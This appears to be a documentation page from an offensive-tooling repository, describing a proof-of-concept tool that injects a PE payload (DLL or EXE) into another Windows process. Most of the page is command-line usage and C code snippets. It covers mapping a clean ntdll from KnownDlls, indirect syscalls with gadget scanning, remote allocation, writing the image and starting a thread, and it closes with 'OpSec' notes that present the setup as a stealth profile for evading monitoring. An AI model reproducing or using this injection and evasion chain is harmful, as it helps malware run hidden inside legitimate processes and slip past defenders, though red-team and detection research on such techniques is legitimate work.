Files
youssefnoob003-SindriKit/docs/examples/inject_pe.md
T
sibouzitoun b7d3cf717c Release v1.2.0: Indirect Syscalls & Pipeline Decoupling
- Implemented fully decoupled direct and indirect syscall invocation
- Added dynamic PEB-based gadget scanning (syscall; ret / sysenter)
- Added x86 & x64 inline MASM stubs with proper stack frame alignment
- Introduced SND_USE_DEFAULTS compile-time OpSec macro for lean payload compilation
- Extensive documentation across all primitives and examples
2026-06-29 19:31:15 +01:00

3.4 KiB

PoC: inject_pe

Location: pocs/inject_pe/

Full-stealth classic PE injection. Locally bakes a PE image (relocations + imports), writes it into a remote process, and creates a thread at the remote entry point via snd_inj_classic_pe.

What it demonstrates

  • Loader + injection interop (snd_ldr_pe_ctx_t + snd_inj_ctx_t)
  • KnownDlls ntdll bootstrap for syscall resolution
  • Full _sys / _nt stealth profile: snd_mem_sys, snd_mod_nt, snd_proc_sys
  • Remote thread at PE entry RVA (DllMain address for DLL payloads — not the loader's local DllMain/TLS path)

Command-line usage

inject_pe -f <payload_path> -p <target_pid>

  -f   Path to PE payload (DLL or EXE)
  -p   Target process ID (decimal)

Example

inject_pe.exe -f payload.dll -p 5678

For DLL payloads, the remote thread starts at AddressOfEntryPoint (typically DllMain). The classic PE chain does not run local TLS or the loader's typed DllMain invocation — see injection techniques.

Walkthrough

1. Load PE from disk

snd_buffer_t     file_buf = {0};
snd_ldr_pe_ctx_t ldr_ctx  = {0};
snd_inj_ctx_t    inj_ctx  = {0};

status = snd_disk_buffer_load(file_path, &file_buf);
ldr_ctx.raw_source = &file_buf;

2. Bootstrap clean ntdll + syscall pipeline

PVOID ntdll = NULL;
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);

3. Configure loader and injection contexts

ldr_ctx.mem_api = &snd_mem_sys;   // direct syscalls for local mapping
ldr_ctx.mod_api = &snd_mod_nt;    // PEB + EAT import resolution

inj_ctx.target_pid = target_pid;
inj_ctx.proc_api   = &snd_proc_sys;  // direct syscalls for remote ops

4. Single chain call

status = snd_inj_classic_pe(&ldr_ctx, &inj_ctx);

Internally this interleaves loader fixups with remote allocation:

  1. Parse PE, allocate/copy locally
  2. Open target, allocate remote RW region
  3. Set execution_base = remote_base, apply relocations + imports locally
  4. Write baked image to remote process
  5. Protect remote region RX, set remote_entry_point to entry VA
  6. Create remote thread

5. Cleanup

snd_inj_cleanup(&inj_ctx);
snd_ldr_pe_free_mapped_image(&ldr_ctx);
snd_buffer_free(&file_buf);

What this PoC does not do

  • No per-section remote protections (flat PAGE_EXECUTE_READ on the whole image)
  • No TLS callback execution in the injection chain
  • No local snd_ldr_pe_execute_image — execution is entirely remote

See injection techniques for the full step table.

Building

cmake -B build -DSND_BUILD_PAYLOADS=ON
cmake --build build --config Release

OpSec impact

  • Local memory: direct syscalls (snd_mem_sys)
  • Imports: PEB walk + EAT parsing (snd_mod_nt)
  • Remote ops: direct syscalls (snd_proc_sys)
  • SSN resolution against KnownDlls-mapped clean ntdll

This is the reference stealth profile for cross-process PE injection in SindriKit.

See also